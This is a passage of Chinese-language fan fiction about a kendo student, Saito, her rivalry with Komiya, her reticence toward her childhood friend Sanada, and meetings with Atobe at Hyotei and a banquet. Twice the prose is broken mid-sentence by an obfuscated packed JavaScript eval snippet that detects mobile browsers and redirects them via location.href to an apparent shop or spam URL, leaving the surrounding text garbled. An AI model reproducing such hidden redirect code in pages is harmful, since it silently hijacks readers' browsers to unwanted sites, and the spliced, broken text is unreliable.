斋藤预感这种情况下说出自己没有上全中参赛名单是一件非常不明智的事情,于是她没有做出任何说明,向小宫隐瞒了事实。 小宫满意地点了点头,瞥了一眼涨红了脸,双手握拳的远藤后,向着斋藤道别。 看着小宫走远后,远藤深吸一口气,用双手猛拍自己的脸颊,转而担心地看着斋藤。 “你难道没有跟她说你没有被安排进今年全中的参赛名单里?” “是的。” “你还是早点跟她说吧,要不然你就麻烦了。”远藤咬着牙,眺望着远处。 “应该没关系的,我和小宫前辈认识很久了。” 经过这件事,斋藤意识到自己并不了解小宫,那么他们两人的关系完全不能称作是朋友。 “多久?”远藤皱眉,用怀疑的眼神看着斋藤。 “五岁……?” 虽说斋藤刚进道场就听到小宫这号人物,但是小宫正式认识自己是五岁的那场比试。 “你们居然认识了这么久!你难道不知道她是个非常恶劣的家伙吗?” “我们在一起练习剑道也就两年,然后小宫前辈搬走了。” “斋藤,你和小宫应该会经常比试吧……难道你从中看不出什么?” “我们只比试过一次,那时候我只有五岁,所以我不太清楚。” “那种家伙怎么可能——!”远藤双手捧着脑袋,一副要崩溃的样子,斋藤担心地询问远藤,远藤才稍微恢复了冷静。 “斋藤,你知道小宫被称作‘魔剑’吧。”远藤用长辈地口气,语重心长说。 “是。” “小宫被称作魔剑,是因为她的剑术,非常……非常……” 前辈脸色苍白地回想着,琢磨了很久都没有找到准确的词去形容,抓着手腕的手颤抖着。 “前辈。” 斋藤顿了一下,声音带着她一贯的淡定。“我明白你的意思,也谢谢你的提醒,但果然还是在场上面对面较量时,我才能真正了解一个人。” “……无论你跟她做了什么约定,都要小心一点,她很强。” “谢谢,前辈。” 小宫的危险,斋藤是知道的。 在小宫和斋藤做出约定的那一天,斋藤主动问了为什么小宫不让斋藤了解她的剑术。 “因为那是没用的,只是在浪费时间。”小宫背过身,语气毫无起伏。 斋藤不知道说出这句话的小宫是什么表情,但是一定不是现在和自己相处时那样温和。 所以斋藤要变得更强,更加谨慎地准备和小宫的比试。 这大概也是小宫对斋藤的仁慈。 晚上,在只有自己的宿舍里,清闲的斋藤坐在书桌前握着手机,盯着的武士狮发呆。 两局两胜。这对远藤来说这是惨败,作为胜者的斋藤却不会为此感到喜悦。 远藤看到小宫之后状态不是很好,所以斋藤没有勉强远藤进行第三局的比试。 这种情况下的两局两胜有价值吗?刚获胜时斋藤思考着。 表面上看不出来,斋藤从远藤的眼神就知道远藤被愤怒冲昏头脑,距离都没掌握好就发起进攻,被斋藤轻易拿下一本。 斋藤没有在这局比试里获得什么有用的经验,只是再次验证了因为情绪影响而输了比试,就是自己的问题。 【今天和部里最强的前辈比试,两局两胜。】 但真田君听到这个消息,一定会给自己“做得很好”。想到这里斋藤不自觉地摆动着自己双腿,不自觉的笑容扫去了因为比试而带来的郁闷。 斋藤决定违背良心,把这件事当作好消息告诉真田。 在斋藤点开和真田的会话后,她心中对期待的喜悦就消失了。 之前的聊天内容是真田汇报自己成为了网球部的正选球员。那时看到这个消息的斋藤内心有些复杂。 斋藤打从心底为真田感到开心,但是她知道,真田就会通过这件事来拷打斋藤,于是她战战兢兢地回了一句【真不愧是真田君。】,并附上“做得很好”,果不其然就被追问【全中的参赛选手应该要决定了,有你吗?】 【监督还没有公布名单……】 【还没决定?你们学校是不打算参加全中了吗?】 这是最新的一条消息,是真田回复的。 斋藤犹豫了。 真的要把这个事情当作好消息告诉真田吗?告诉真田的话,真田笃定她能参加全中。可名单已经决定,没有上面斋藤的名字。 但是斋藤想要和真田交流的心情蓄势待发,想要真田回应的期待也被点燃。 【今天我吃了激辛地狱拉面。】 当斋藤反应过来时,这句话已经发出去了。 信息变为已读,斋藤久久没有得到回复。真田大概在认真思考斋藤发这句话的意义。斋藤也不知道这句话能够得到什么样的答复,不过真田是她的青梅竹马,以斋藤对真田了解的程度,见招拆招不是难事。 【你是在说你“做得很好”吗?】 看样子真田认为斋藤想要樱花贴图,这就好办了,斋藤呼出一口气。 斋藤开始装傻,顺着真田的话继续下去。 【这种事不行吗?】 【当然不行!】 【你真不会为了贴图吃那种东西吧?】真田问。 【不,是前辈请我吃的。】 正当斋藤觉得对话结束,真田发来了新的消息。 【你该不会真的只是为了跟我说拉面的事吧?】 斋藤一巴掌拍在自己的脑门上。 真田也不是什么记性不好的老头,怎么会因为斋藤刻意回避就想不起来事情。 【全中参赛资格,我会加油的!】 【斋藤——!】 斋藤疲劳地扑倒在床上,最近她只要跟真田聊天,就会很累。 “加油啊……” 人不可能在自己做不到的事情上加油的。 当真田知道斋藤不参加这次的全中之后会怎么样呢? 生气,失望,还是无所谓? 斋藤不知道,因为这是斋藤第一次没有按着真田的督促去完成事情。 不过斋藤也已经准备好后手,教练早早地安排她去参加11月的关东地区的剑道新人赛了。 参加了全中就不能参加新人赛了,关东地区新人赛含金量虽然不如“全中”但关东地区的剑道水平在全国名列前茅,能够拿下冠军,也是一种实力证明。 这样真田不会责怪斋藤,顶多说她没志气没出息。 大概。 斋藤还是不愿意过早地面对不可知的情况。离全中东京都预选还有十几天,斋藤决定在此之前就不和真田发消息了。 过了一会,手机震动着,是小宫的电话。 “小宫前辈。” “斋藤,之后有人跟你说些什么吗?” “没有。” “你不好奇吗?” “这跟剑道没关系,所以我没有兴趣。” “你这种态度,在社团里是待不下去的。” “剑道就是用剑交流的。” “说得真好听,可大部分人不会这么想。” 小宫给了斋藤忠告后挂断了电话。 斋藤和小宫就是通过约定维系着关系的陌生人。 没有羁绊,没有根基,没有任何实感,悬在空中的“对手关系”。 但是小宫作为全中个人冠军,实力绝对不容小觑。 斋藤还是会对小宫是自己宿敌这件事,没有任何疑问。 现在是斋藤要跟小宫证明,自己是有资格成为小宫的宿敌。 “斋藤同学,这有你的信。” 周一晚上,山田指了指斋藤的书桌,书桌上有一个大尺寸的信封。 刚洗完澡回到宿舍的斋藤扔下手中的东西,到书桌前拆开信封。快速翻动浏览着报纸。 找到了! 这篇新闻内容是三个一年级成为网球部的正选,当然其中一位是真田。 斋藤在平时也会去立海大的网站去浏览网球部的消息,发现新闻部会把一些发布过的新闻印在报纸上。 做个剪报本吧。斋藤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487277|202083||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 计划。 斋藤打算收集真田君在网球部的事迹和战功,做成剪报本,然后在一个特殊的日子把剪报本送给真田,让他感动说不出话。 当然真田会感动到说不出,纯粹就是斋藤的臆想。 “……《神奈川县立海大附属中学新闻部》……”山田站在斋藤的身后,念出了信封上寄件方的名字。看到斋藤转过身瞪着自己,山田退后了一步。 “抱歉,我以为是杂志。” “没关系,反正这只是别的学校的校刊。” 斋藤转回去继续看着新闻的内容。虽然已经在网站上看过这份报道,但是其中对真田正面的描述,斋藤是相当满意认同的,所以斋藤又过目了一遍。 读完报道后,斋藤心满意足地收起报纸放进抽屉里。 “立海大不是那个网球很厉害的学校?”山田问。 “山田同学你知道的真多。”斋藤平淡地回应。 “毕竟升学的时候我可是很仔细地选择学校。” “你为什么要买这个?” “有认识的人在这个学校。” 斋藤话说到这就够了,但她还是忍不住向山田介绍真田。 “他虽然是一年级,但已经是网球部的正选了。”斋藤的语气中带着自豪,声调也比平时高昂。 山田不禁睁大了眼睛。 “那么就是和斋藤同学一样优秀的人呢。” “他比我优秀哦,他也很擅长剑道,我剑道老师可是他的祖父的学生。” 山田发出“哎”的一声,随后对着斋藤一脸坏笑。 “斋藤同学是喜欢他吗?” 斋藤顿了一下。 为什么总是有人问这样的问题。这种无聊的,但会打乱自己心绪的问题。 斋藤已经确认过了,自己对真田的感情绝对不是喜欢。真田是她重要的青梅竹马和朋友,就因为是异性,就被扭曲成带着目的性的感情,她就究竟要怎么做,做到什么程度,才能让别人不再问这么愚蠢的问题。 “不,我们只是青梅竹马。”斋藤收起自己的笑容,用平时的要冷淡的语气回复。 看到斋藤的脸色变得暗淡,山田眼神游移,咧着嘴巴,尴尬地用两只食指相互戳。 看到山田这样,斋藤又想到了小学时那个说自己喜欢真田的女生,露出快要哭出来表情。 山田同学说这句话绝对没有恶意,我不该用那种态度和她那么说。斋藤后悔自己刚才的表现。 “对、对了,斋藤同学,周末的时候你是不是和什么人见面了。” 斋藤刚想开口,山田为了缓和气氛换了话题。斋藤将道歉咽了回去,用鼻子发出“嗯”了一声。 斋藤没想到小宫影响力这么大,连非剑道部的人也知道了她的存在。 “那个人,学长姐们好像都很忌惮她。” “我知道。” “可能不止是忌惮,甚至是敌视……” 前辈们的敌视,斋藤在今天下午的部活中已经体会到了。 教练给斋藤安排对练的前辈,正大光明地和老师说不想和斋藤一起练习。在教练强硬地坚持下,前辈非常敷衍地和斋藤进行练习,在教练以退部的威胁下,前辈才端正自己的态度。 虽然远藤用亲切到让人感觉粘人的态度跟斋藤说话,努力地遮盖这种影响,但斋藤就像是罪犯一样,遭到除了远藤之外的前辈们的冷待。 斋藤确定小宫对这个学校的剑道部的成员做出了非常过分的事情,在他们心中留下了不可磨灭的伤痕,即便小宫毕业了,前辈们满腹的怨愤非常轻易地被投射在了和小宫认识的斋藤身上。 “我觉得前辈们之间的问题与我无关。” “斋藤同学不怕被迁怒吗?” 已经被迁怒了,但是斋藤不想和山田说。 “山田同学,小宫前辈无论做过多少过分的事情,那是她的事,不关我事。我没有必要为他们之间的问题负责。如果他们想迁怒,我无论做什么都没用。” “斋藤同学……”山田看着态度冷淡的斋藤,双手握拳放在胸口往后退了小步,嘴唇嚅嗫似乎还想说些什么。 “山田同学,请不用担心我,这种小事影响不到我的。”见山田如此担心,斋藤反过来安慰山田。 “没错,斋藤同学很强的,所以一定没问题!”山田为斋藤打气,也是在给自己安慰。 几天后,社团的宣布要进行校间交流试合,而对方是斋藤耳熟的,冰帝学园。 对这些事情一项毫不在意的斋藤突然积极起来,斋藤自身的强劲实力轻松地让她在一年级新生中脱颖而出,与学姐们一起参加这次的交流试合。 5. 在冰帝的交流试合 “冰帝今年真的很拼命。”前往冰帝学园的大巴里,斋藤身边的远藤抱胸,望着正前方,严肃地说。 今天是风岚与冰帝两个学校剑道部的校间交流试合的日子。 听说冰帝国中部今年有一个超级有钱人入学,给这所学校投了一笔让人惊掉下巴的数字的金额。于是剑道部利用申请到的巨额社团经费,密集地与东京都的各个剑道强校展开校间交流试合。 说是交流试合,其实大家都清楚,这是东京都预赛的探底。 虽说剑道看重当下的状态,不过提前知道全中对手是什么样的人,会减少一些未知所带来的恐惧。 所以被邀请的学校也不算是吃亏。 按照流程,校间交流试合的相关人员们一起来到礼堂举办开场仪式。冰帝这边的监督在台上进行致辞。冰帝的学生们最近应该经历很多次这样的场面,他们表情木然,视线都没有集中在监督身上。 斋藤也一样,完全没有专注于监督的讲话。 母亲现在在这里吗,斋藤想。 斋藤的母亲是知名建筑设计事务所的王牌设计师,擅长将古典风格与现代元素相结合,打造低调奢华的作品。她的设计被媒体誉为“宜居的奢侈品”,既具品味又注重实用,深受业界与公众的推崇。 她在生下斋藤后,被东京的一家知名事务所录用,长期居住在东京。 今年年初,冰帝学园方面提出紧急改建健身馆的项目,母亲受邀担任主设计师。 项目似乎与迹部财团有所关联。因为几乎在同一时间,迹部家的女主人——瑛子女士,向母亲所在的事务所注资,成为事务所的合伙人。 高额预算、紧迫时限与显赫背景交织,让这份委托几乎无从推辞。 原本就事务缠身的母亲在如此时间紧迫的情况下,还是顺利提交了设计稿。为此斋藤有很长一段时间在家里看不到母亲的身影。 这个学校就是斋藤现在所在的冰帝学园。 “走啦。” 身后的学姐不温不火地催促走神的斋藤。看样子活动里最无聊的环节已经结束了。 斋藤感觉到部员针对她的孤立收敛了不少。虽然远藤并没有直接跟斋藤说,而斋藤知道这一切绝对是归功于远藤。 在冰帝的学生带领下,风岚中学的学生排成一队整齐地前往场馆。 “那个建筑是什么?”一个学姐问道。 乍一看,白色的建筑群看似和谐统一,但只要稍加留意,就能发现其中有一幢显得与众不同,显然是经过精心设计的。 “网球部的专用健身馆。”冰帝的学生连头也不回,语气冷淡,毫不在意地回答道。 那个健身馆应该就是母亲设计的,斋藤想,她的母亲终于可以恢复正常作息了。 学生们在更衣室里换衣服,斋藤就在这个空闲中给母亲发了短信。 【妈妈辛苦了,我看到妈妈设计的健身馆了!】 训练结束后,所有人来到交友栋里休憩交流,享用茶点。 斋藤发现这里不仅可以选择简便的茶包,还提供散装茶叶和滤茶器让学生们亲手冲泡红茶。于是斋藤想为远藤泡上一壶红茶,但是看着被人群围绕的远藤,她转而用茶包为自己泡上一壶,坐在厅内角落独自享用。 有几个冰帝的男生尝试着和斋藤搭话,斋藤用有礼却冷淡的语气作为堡垒,让他们望而却步。 手机在斋藤裙子口袋里的震动。 【志罗,你现在也在冰帝吗?】 发来短信的是斋藤的母亲。 【是的。】 【那我们见个面吧!正好带你参观由妈妈我设计的健身房】 【好的。】 为了不打断远藤前辈和两个学校的女学生们之间的气氛欢快的交流,斋藤和远藤发了信息,拜托远藤在集合的时候用手机联系自己。 “啪!” 是高速飞行的网球被网拍打中的声音。 走出建筑后就听到这个声音的斋藤本能地闭上眼睛。 她不是很喜欢这个声音。 眼前是网球场,而健身馆似乎是在另一边,斋藤是走错出口了。 斋藤不喜欢网球,因为她四岁时,同岁地真田曾经亲自把她赶出了网球场。 从那之后,斋藤觉得真田不希望在网球场上看到自己地身影。 即便是从小一起长大,知根知底的青梅竹马,即便网球对来说真田非常重要,斋藤没有去看过真田的一场网球比赛。 看着网球球场上的男生们喧嚣,挥洒着汗水,场上拼尽全力互不相让,场下自然地肢体碰撞,相互鼓励。网球场上的真田也会这样豪放热情吗?还是和平时一样严谨不苟言笑?斋藤没办法确定,她能确定的是自己永远没有办法看到真田在网球场上是什么样的。 虽然她一直默默地,第一时间去了解真田的战绩,但她真的讨厌网球。 她决定忽视心中的这份沉重,准备前往健身馆。 “喂!”一个男生站在斋藤的身前,拦住斋藤。 “你是间谍吗?” 斋藤抬起头,刺目的光线眯起眼睛,她疑惑地看着诘问自己的男生。 “别的学校的人是怎么进入学校的?” 对方因为情绪激动,声音变得尖锐,斋藤用双手捂着耳朵 “我是风岚中学的学生,你们学校的剑道部在和我们学校进行校间交流试合。” “为什么你能在学校里到处乱跑!” “我和别人约了见面。” “是谁?” 斋藤摸着脖子,对方的语气让她非常不满,她不愿意再和对方多说一句,于是拿出手机给母亲发短信求助。 “你在和谁发短信!” “你们不需要知道!”斋藤的忍耐到达了极限,她展现出在剑道场上威吓对手的气势,大声驳斥。 恼羞成怒的男生上前准备抢斋藤的手机,被斋藤轻松闪开了。 斋藤刚想跑开,却又不知道哪里的人冒出来堵着斋藤的路,斋藤被一群人团团围住,根本不能脱身。 斋藤并没有被这场面吓到,她用脚用力往前踏,发出有力的声音提振自己的气势,奈何对面人多势众,不为所动。 “叭!” 所有人都顺着的声音望去,是个金发男生打了响指,男生一手抓着网球拍,另一只手高举食指直指天空,五官稚气未脱,但是高傲的表情配上这样的动作,将“天上天下唯我独尊”这句话具象化。 冰帝的学生自觉地拍成两列,给男生让出一条道。 “迹部大人,这里有个可疑的家伙。”一个学生用谄媚的口吻和名叫迹部的人邀功。 “你是风岚的学生吧?”迹部视线袭来,语气不疾不徐。 “是。”在迹部身上所散发出的从容与威压,让斋藤不自觉站直了身体,双手规规矩矩地贴在大腿两侧。 “虽然是校间交流训练,但外校的学生不能在学校里随便走动。就这一点我希望你可以解释。” “因为我的母亲也在这个学校里。” “哦,你的母亲是这个学校的职工吗?” “我的母亲是——” “志罗!” 斋藤的母亲毫不在意自己穿着高跟鞋,大呼着斋藤的名字,气喘吁吁的跑过来。 “妈妈!”斋藤绕开站在自己身边的男生,跑到母亲的身后,抓着母亲的手,警惕地看着与自己对立的冰帝的学生们。 斋藤的母亲拉着她的手,将她从身后轻轻推到身侧。扶住肩膀,把她的身体朝迹部的方向带了过去。 “迹部先生,她是我的女儿斋藤志罗。”斋藤的母亲介绍斋藤。 她低头行礼,态度恭敬而有分寸,即便对方只是一个少年,语气却如同面对重要合作客户。 “我打算带我的女儿参观我设计的健身馆,但是她不认识路, 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真田的手现在也是这样的吗?还是比这个还要粗糙?斋藤将手握拳放在腿边,用指尖揉搓指根的粗糙皮肤。 幼年时,两人的手因为练习反复破溃,真田不是很在意这些伤口,而斋藤看到后会坚持给真田医用胶布包扎。真田的手在斋藤的见证下改变着,成长着。 “看来的确是误会一场。”不知是不是斋藤的错觉,迹部的语气收敛了许多,少了开始时那种刀锋般的锐利。 迹部语毕,围住斋藤的几个学生向斋藤道歉。 “我也不该随便在学校里走动,给大家误会。”斋藤也做出退让。 迹部对斋藤的话没有做出任何回应,只是轻轻颔首,向斋藤的母亲致意,转身回到网球场继续练习。 “志罗,做得好!”斋藤的母亲紧绷的身体放松了下来。 “为什么母亲要用那种态度和那个男生说话?” “因为那个男生的是妈妈的上司。” 斋藤惊讶地大呼着,她不太能理解一个国中生怎么会成为母亲地上司。 “志罗你就不用管这些了,妈妈我带你参观一下整个东京最华丽最高级的健身馆。” 斋藤心想自己母亲说得也太夸张了,但是经过母亲的介绍参和观,斋藤的确被健身馆的内部设施给震撼了。母亲还说过两天会在高级酒店举办这个健身馆的竣工披露晚宴。 “这是学校的给学生用的健身馆吧。” “也是妈妈我设计的商品。”斋藤的母亲显得很开心。 斋藤的母亲是个工作狂,斋藤觉得自己母亲盘算着能在晚宴上遇到更多要求奇怪的客户,接到各种有挑战性的案子。所以,斋藤的母亲很快就会投身到新的工作里。 “不要让爸爸感到寂寞啊。”斋藤无奈地说。 “我相信你爸爸一定会耐得住寂寞的!”斋藤的母亲努力地从尴尬的表情中扯出一个开朗的笑容,然后岔开话题,半开玩笑地和斋藤说“要不然转到冰帝吧”。 斋藤果断拒绝。风岚中学剑道部的总体实力要比冰帝强。 风岚只要是全国闻名的剑道强校,到时候一定会有新的强者出现。 即便是斋藤现在称得上的对手只有远藤。 一周后的周末下午,才热身结束的斋藤面露难色地疾步走到置物柜前。手机的震动让场馆里的众人无法集中注意力。斋藤一开始也没当回事,等着打电话的人主动放弃,但是手机似乎不肯停歇,一直撞着木板发出高频率的敲击声。 “什么事,妈妈。”斋藤的语气有些生硬。 “志罗,迹部女士邀请你参加今晚的竣工披露宴。” “妈妈你发短信给我就好,现在离晚饭还有一段时间,我绝对不会迟到的。” “可是我已经到学校门口了。” 6. 宴会上 斋藤的母亲没有和斋藤事先预约就擅自开着豪车到了学校的门口,向来低调斋藤立刻发送与自己学校有一段距离的停车场的位置,约在那里碰面。 当斋藤说自己花时间要换衣服的时候,斋藤的母亲表示她在酒店定了一间房间用来休息以及洗漱整理仪容,让斋藤直接来停车场。 斋藤和远藤连说了好几句对不起,不等远藤说什么就前往宿舍,将制服和皮鞋塞进袋子里。 虽然母亲让斋藤不要急着赶过来,斋藤还是决定用最快的速度赶到母亲的身边。 斋藤穿着剑道服在街道上奔跑着,虽然路人们对穿着剑道服跑步锻炼这件事习以为常,但是斋藤这样挎着帆布包,不顾形象狂奔,还是会产生一点想象与好奇。 斋藤立体停车场猛按着电梯按键,在电梯里稍稍调整呼吸,门一开便直奔指定车位,看着因为奔跑而大口喘气的女儿,斋藤的母亲说着“辛苦了”,然后打开车门。扑面而来的高级香薰的味道让斋藤觉得自己身上运动后的汗水味更加明显。 斋藤的母亲拿起放置在副驾驶座上的包的,拍了拍坐垫示意斋藤坐下,将平板电脑套好塞进包里,坐在副驾上的斋藤接过母亲的包并放在膝盖上。 斋藤努力地用手拉扯着剑道服的袖子盖住露出的前臂,她不想让汗渍粘在真皮座椅和母亲的皮包上。 斋藤向母亲抱怨今天下午的训练被母亲的突然到来彻底打乱了。斋藤的母亲一边看着前面地路况一边给出了周末容易塞车这个理由让斋藤无法反驳。 “迹部女士和冰帝的迹部是亲戚吗?” “是母子。” 斋藤的母亲简洁地答道,并让斋藤打开自己的手提包的内侧拉链袋,里面有一个信封。 斋藤打开信封,里面是一张厚纸邀请函,纸质厚重,边缘烫金。被汽车安全带压着的斋藤倚靠椅背,反复阅读着邀请函上的内容消磨时间。 “只是一个学校的健身馆,还举办竣工披露宴,也太夸张了。” “这个是由事务所牵头主办的,和冰帝没什么关系。” 斋藤看着宴会举办的地点,是全国知名的豪华酒店。 “还真是舍得花钱……” “毕竟和迹部财团以及榊太郎先生有关联,所以这是必要投入。” 斋藤不认识母亲口中这个名字的人是谁,但他是贵客金主这点绝对不容置疑。 斋藤和母亲来到宴会厅的大门前,宴会厅内已聚集了不少宾客。 厅内灯光柔和,背景音乐是舒缓的钢琴曲,脚步声与低语交错回响,空气中飘着香槟与鲜花混合的香气。 餐台设在两侧,展示屏与建筑模型立在中央。 斋藤看了一眼脚上的皮鞋,已经换成母亲派人送来的,全新的没有一点折痕的乐福鞋,制服则是交给酒店帮忙熨烫好的,不会有人看得出来她几个小时前还在道场流汗。 虽然斋藤打扮地得体,但现场地学生是大部分的身着西式制服,似乎只有自己是身穿着绀色的水手服,这让斋藤感觉自己格格不入。 斋藤的母亲带着斋藤来到一个穿着礼服,神情沉稳,仪态端庄,气质高贵凛然的黑发女子前,那个叫迹部的男生傲然地站在女子的旁边。 所以这位贵妇就是迹部瑛子女士。 迹部没有穿制服,而是身着华丽的白色晚礼服,白色晚礼服熨帖地贴合肩线与腰身,缝线整齐,衬得他更加挺拔英俊。 斋藤走上前,用标准又克制的礼仪姿态向迹部母子致意。她知道,今晚这样的寒暄不会只有这个,接下来还要陪着母亲,挨个向事务所的同事与客户打招呼,她必须将自己撑住笑容,保持得体。 任务完成后,母亲让斋藤自行活动,但是尽量不要离开宴会厅。 过了一会,整个宴会厅的灯光暗了下来,斋藤知道,宴会里最无聊的环节,发言致辞开始了。 过了一会儿,宴会厅的灯光缓缓调暗,背景音乐也随之停下。斋藤知道,宴会中最无聊的环节——致辞环节开始了。 作为出资代表,那名叫榊太郎的先生登台发言。 听说这个案子最初原本不是交给母亲的,是迹部瑛子女士提议后才做了调整。 等到司仪宣布现在进入自由交流时间,厅内恢复之前的明亮,会场逐渐由安静变得热络。斋藤一边托着餐盘吃着东西,一边看着母亲跟在迹部瑛子的身侧与几位气度不凡的宾客寒暄交谈,心想这宴会怕是短时间内不会结束。 斋藤看着宴会厅内的玻璃门后的室外露台。 去露台也不算是离开宴会厅吧。 斋藤走过去,轻轻推开玻璃门。 晚风涌进热闹嘈杂的宴会厅,空气清新的凉意,像一只无形的手,拂过她的脸,牵引着她离开人群。 露台不大,却布置得温雅妥帖,四角各置一盏圆顶立灯,光源柔和,让整个空间不至于被黑夜所吞噬。 露台上有装饰用的花圃,花圃围栏内侧种着修剪整齐的低矮绿篱。咖啡的皮质沙发与偏深色的茶几围成几组座区,沙发上覆着浅灰色防水坐垫,干净典雅,维持着沙发本身的高级。 斋藤走到露台栏杆前。宴会厅内的觥筹交错已与她无关,她此刻只专注于眼前的城市灯火。 突然的人群嬉笑声与脚步声打破了这份宁静,斋藤深呼吸,平复噪音而扰乱的情绪,撇过头向玻璃门的方向看去。 一群朝气活泼的少女们围着华丽耀眼的白色叽叽喳喳,那抹白色正是迹部。 本以为迹部只是带着女孩们来露台透气,没想到他从人群中径直向她走来,停在斋藤的身前。 “斋藤小姐。” “迹部先生。” 斋藤很快转身应对,自然地双手交握放在胸前,恭敬地回应。 “迹部大人,这人是谁啊?”女生询问语气柔软,却藏着尖锐。 “这位是斋藤女士的女儿。”迹部答得简洁,没有多加解释。 几道视线立刻在斋藤身上来回扫过,接着是一连串敷衍而又意味深长的语句。 “这样啊。”“原来如此。”“那就没办法咯。” “我现在有一些事情想和斋藤小姐单独聊一下。” 迹部摆出“请”的手势,让那些女生与自己保持距离,给他和斋藤一些空间,女生们识趣地离开了。 “斋藤小姐,是身体不舒服吗?” “不,我只是不擅长待在那样热闹的环境里。” “那么还请你好好享受独处的时光。”得知原因的迹部微微点头,准备转身离开露台。 “迹部先生,你会参加今年的全国大赛吗?”斋藤看着他即将离开的背影,忽然开口。 斋藤在几天前确认迹部是个刻苦训练的人,如果真田在赛场上遇到他,一定会陷入苦战。 “什么?”听到斋藤的问题,背对着斋藤的迹部侧过头,用眼角的余光看着身体僵硬地站得笔直的斋藤。 “网球全国大赛,你会参加吧。”斋藤重复着。 “不,其他人还需要成长,以他们现在的实力,冰帝根本就不可能夺得全国冠军。” 然后像是突然意识到什么,声音拉高了些。 “斋藤小姐为什么会问这些,莫非真的是收集情报?”迹部似笑非笑,“真可惜啊,我们今年不参加比赛”。 “我只是感觉迹部先生应该是很厉害的网球选手,如果能参加的话,说不定能赢。” “说不定?本大爷一定会赢的!” 如此骄傲自信的答复,斋藤不知怎么作答。 若是别的项目,她也许会顺着对方的话,说一句“那您一定会是冠军”之类的场面话。 但这是网球,而她希望赢的是立海大,是真田。 斋藤什么也没说。她抬起手,轻轻拍了两下。这不是讽刺,也不是礼节性的应和,而是她能做到的、最真诚的表达方式。 “……我是不是还应该说些什么?”斋藤低声地问。 “请自便。”迹部摊开手,语气潇洒,径直离开露台。 斋藤忽然想起上次在冰帝发生的事情还没有和迹部进行道谢。 “迹部先生,之前的事,感谢您的帮助。” 迹部微微侧头看她,没有立刻回应,随后轻轻颔首。 露台只剩下斋藤一人,斋藤拿出手机,手机屏幕涌出的光线让处在夜色里的斋藤的眼睛有些发胀。 斋藤想要不然趁现在,跟真田说,她没有被教练选上参加全中。 斋藤并不是耐不住寂寞想要和真田联系,她只是知道,如果自己不主动说清楚,真田那边迟早会知道,对方可能会更不高兴。 四月的夜风并不温柔,空气透过布料的缝隙剥夺皮肤残余温度。斋藤抱住胳膊,用手掌摩擦着手臂,想制造一点热意。 她想了想,或许还是算了,再这样站下去,真的会感冒。 斋藤准备返回宴会厅内,这时迎面走来一个托着托盘的服务生,托盘上的白色的马克杯在月光的照耀下闪着点点星光,犹如白色轻纱的雾气从杯口升腾。 “请问您是斋藤小姐吗?” “是的。” 服务生将马克杯放在露台的茶几上。 “有人点了一杯热可可给您。请慢用”服务生行了一礼,随即悄然退去,将露台的宁静还给了斋藤。 斋藤坐在沙发上,捧着马克杯,小口地啜饮着。 热可可的温暖鼓舞着斋藤,让她打开手机,给真田发了短信。 【真田君,我现在可以和你打电话吗?】 斋藤看着这句话,没有犹豫,按下了发送按键。 几秒后,斋藤的手机突然响起,在手中剧烈地震动,吓得斋藤差点把手机摔在地上。 “喂,有什么事?” “真田君?!” 斋藤用略带责备语气叫着对方,拿着手机的手颤抖不止。手机随时都会从手里滑出掉在地上,于是她用另一只手托着手机的底部,将其牢牢地扣在耳边。 “你不是说要和我打电话吗,说吧,是什么事。” 因为热可可的功效,斋藤觉得自己的脸有些发烫的,她压制着声音大口地呼吸着,企图平息自己的剧烈跳动的心脏。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“如果觉得无聊就想象自己握着竹刀练剑进行素振。” “好主意,谢谢你。” 真田轻哼一声,简单地回了一句“就这样”后就挂断电话。 斋藤平复心情,调整状态,为了不被打扰,斋藤来到露台被阴影遮蔽的角落,然后右手握拳,左手托着,剑柄的形状以及竹剑的重量,斋藤已经不需要刻意的回想,凭着肌肉的记忆完全模拟出来。 每一次挥动,血液加速流动,心中的负重也少了一点。斋藤在露台的一隅,沉浸在这种感觉中。 不知多久,斋藤感觉有人靠近,在月光照耀下的鲜明的白色在暗蓝的夜空与深沉的绿植之间格外醒目。 “迹部先生。”斋藤停下练习,对迹部打招呼。 “谢谢您刚才送的热可可。” 迹部没有回应这句话,只是轻轻拍了拍手。 “了不起。我似乎能看到真的有把剑在你的手中。” 斋藤轻声答谢后,转而询问迹部找自己有什么事,她知道迹部找她绝不是就为了夸奖一句。 “你离开得太久,你的母亲似乎有些心不在焉。” 迹部的话让斋藤意识到自己在露台上待得太久,而自己的离开影响到了母亲,斋藤毫不犹豫地回到晚宴会场,就像迹部说的那样,站在迹部瑛子身边,平日里在社交场合应对自如的母亲在与他人交流的空隙间,视线在人群中寻找着什么。斋藤悄悄地接近自己的母亲,进入母亲的视野范围,见母亲担忧的舒缓了一些后,又走到会场的边缘。 迹部给无所事事的斋藤递上一杯无酒精的饮料。斋藤抿了一口,醇厚的液体在口中滑动,饮料的清甜摩挲着紧绷头皮,咽下之后,复杂的果木香气在口中残留着,供人回味。比起口感复杂高级的饮料,斋藤更喜欢口感简单,味道纯粹的果汁,但出于礼貌,斋藤将杯中的饮料一饮而尽,然后将杯子放到在会场四处走动的服务员的托盘上。 迹部这般高贵的人对斋藤如此体贴,让斋藤有些承受不起,于是她低下头小声地说。 “这种小事其实根本不需要麻烦迹部先生。” “这是绅士应该做的。”迹部保持一如既往的洒脱。 绅士,迹部重视这个标签。 在母亲的要求下,斋藤也上过几堂礼仪课。她觉得里面学习的一切那不是克己自律,是束缚。 将当下的自己的心情与情绪消磨在繁复外显的程序中,在举手投足之间,将“优雅”这词体现地淋漓尽致。 毕竟不轻易展现出自己的情感也是礼仪的一部分。 迹部就是典范,这却让斋藤怀念起真田对自己那份超越性别与礼教的,充满关切的照顾与对待。 